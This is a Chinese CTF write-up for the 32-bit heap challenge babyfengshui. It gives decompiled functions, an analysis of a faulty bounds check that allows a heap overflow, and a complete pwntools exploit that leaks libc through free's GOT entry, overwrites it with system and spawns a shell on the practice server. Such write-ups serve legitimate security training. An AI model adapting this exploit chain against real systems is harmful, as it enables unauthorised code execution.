babyfengshui 33c3 2016
# babyfengshui 33c3 2016
# 前提
# 查看文件保护
[*] '/root/pwn/buuctf/babyfengshui_33c3_2016/babyfengshui_33c3_2016'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
1
2
3
4
5
6
2
3
4
5
6
# 静态分析
主函数如下:
void __cdecl __noreturn main()
{
char v0; // [esp+3h] [ebp-15h]
int v1; // [esp+4h] [ebp-14h]
size_t v2; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
alarm(0x14u);
while ( 1 )
{
puts("0: Add a user");
puts("1: Delete a user");
puts("2: Display a user");
puts("3: Update a user description");
puts("4: Exit");
printf("Action: ");
if ( __isoc99_scanf("%d", &v1) == -1 )
break;
if ( !v1 )
{
printf("size of description: ");
__isoc99_scanf("%u%c", &v2, &v0);
Add(v2);
}
if ( v1 == 1 )
{
printf("index: ");
__isoc99_scanf("%d", &v2);
Delete(v2);
}
if ( v1 == 2 )
{
printf("index: ");
__isoc99_scanf("%d", &v2);
Display(v2);
}
if ( v1 == 3 )
{
printf("index: ");
__isoc99_scanf("%d", &v2);
Update(v2);
}
if ( v1 == 4 )
{
puts("Bye");
exit(0);
}
if ( count > 0x31u )
{
puts("maximum capacity exceeded, bye");
exit(0);
}
}
exit(1);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
Add函数如下
_DWORD *__cdecl Add(size_t size)
{
void *s; // ST24_4
_DWORD *v2; // ST28_4
s = malloc(size);
memset(s, 0, size);
v2 = malloc(0x80u);
memset(v2, 0, 0x80u);
*v2 = s;
ptr[count] = v2;
printf("name: ");
get_name(ptr[count] + 4, 0x7C);
Update(++count - 1);
return v2;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Update函数如下:
unsigned int __cdecl Update(unsigned __int8 index)
{
char v2; // [esp+17h] [ebp-11h]
int new_length; // [esp+18h] [ebp-10h]
unsigned int v4; // [esp+1Ch] [ebp-Ch]
v4 = __readgsdword(0x14u);
if ( index < count && ptr[index] )
{
new_length = 0;
printf("text length: ");
__isoc99_scanf("%u%c", &new_length, &v2);
if ( (new_length + *ptr[index]) >= ptr[index] - 4 )
// 因为*ptr[index]块比ptr[index]块后申请所以这里使用指针加长度来判断是否合法
// 但这里存在问题
{
puts("my l33t defenses cannot be fooled, cya!");
exit(1);
}
printf("text: ");
get_name(*ptr[index], new_length + 1);
}
return __readgsdword(0x14u) ^ v4;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
Delete函数如下:
unsigned int __cdecl Delete(unsigned __int8 index)
{
unsigned int v2; // [esp+1Ch] [ebp-Ch]
v2 = __readgsdword(0x14u);
if ( index < count && ptr[index] )
{
free(*ptr[index]);
free(ptr[index]);
ptr[index] = 0;
}
return __readgsdword(0x14u) ^ v2;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
2
3
4
5
6
7
8
9
10
11
12
13
Display函数如下:
unsigned int __cdecl Display(unsigned __int8 index)
{
unsigned int v2; // [esp+1Ch] [ebp-Ch]
v2 = __readgsdword(0x14u);
if ( index < count && ptr[index] )
{
printf("name: %s\n", ptr[index] + 4);
printf("description: %s\n", *ptr[index]);
}
return __readgsdword(0x14u) ^ v2;
}
1
2
3
4
5
6
7
8
9
10
11
12
2
3
4
5
6
7
8
9
10
11
12
get_name函数如下
unsigned int __cdecl get_name(char *a1, int a2)
{
char *v3; // [esp+18h] [ebp-10h]
unsigned int v4; // [esp+1Ch] [ebp-Ch]
v4 = __readgsdword(0x14u);
fgets(a1, a2, stdin);
v3 = strchr(a1, 10);
if ( v3 )
*v3 = 0;
return __readgsdword(0x14u) ^ v4;
}
1
2
3
4
5
6
7
8
9
10
11
12
2
3
4
5
6
7
8
9
10
11
12
# 思路分析
目前信息:
- Update函数边界条件判断有误,存在堆溢出点
- Partial RELRO
- Canary found
- NX enabled
- No PIE
思路
- 堆溢出修改后续堆块的指针等信息,泄漏
libc
和system
,利用Update
修改free
的got
表,获得shell
- 堆溢出修改后续堆块的指针等信息,泄漏
# exp
from pwn import *
from LibcSearcher import *
context.terminal = ['tmux', 'splitw', '-h']
context(os='linux', arch='i386', log_level='debug')
pwnfile = '/root/pwn/buuctf/babyfengshui_33c3_2016/babyfengshui_33c3_2016'
io = remote('node4.buuoj.cn', 27501)
# io = process(pwnfile)
def Add(io, size, name, content):
io.sendlineafter("Action: ", '0')
io.sendlineafter("description: ", str(size))
io.sendlineafter("name: ", name)
io.sendlineafter("length: ", str(len(content)))
io.sendlineafter("text: ", content)
def Delete(io, index):
io.sendlineafter("Action: ", '1')
io.sendlineafter("index: ", str(index))
def Display(io, index):
io.sendlineafter("Action: ", '2')
io.sendlineafter("index: ", str(index))
def Update(io, index, content):
io.sendlineafter("Action: ", '3')
io.sendlineafter("index: ", str(index))
io.sendlineafter("length: ", str(len(content)))
io.sendlineafter("text: ", content)
Add(io, 0x78, 'heap0', 'aaaa')
Add(io, 0x78, 'heap1', 'bbbb')
Delete(io, 0)
elf = ELF(pwnfile)
free_got = elf.got['free']
Add(io, 0x100, 'overwrite', flat(['a'*0x104, 0x81, 'a'*0x7c, 0x89, free_got]))
# 1堆块的原text堆指针被覆盖为free的got表地址
Display(io, 1)
io.recvuntil("description: ")
leak_free_addr = u32(io.recv(4))
log.success("free_addr:"+hex(leak_free_addr))
# Display函数中printf的%s泄漏free的真实地址
Add(io, 0x10, 'payload', '/bin/sh\x00')
libc = LibcSearcher('free', leak_free_addr)
libc_base = leak_free_addr-libc.dump('free')
system = libc_base+libc.dump('system')
Update(io, 1, flat(system))
# Update将free的got修改为system地址
Delete(io, 3)
# free掉/bin/sh获得shell
io.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
上次更新: 2022/08/15, 00:29:49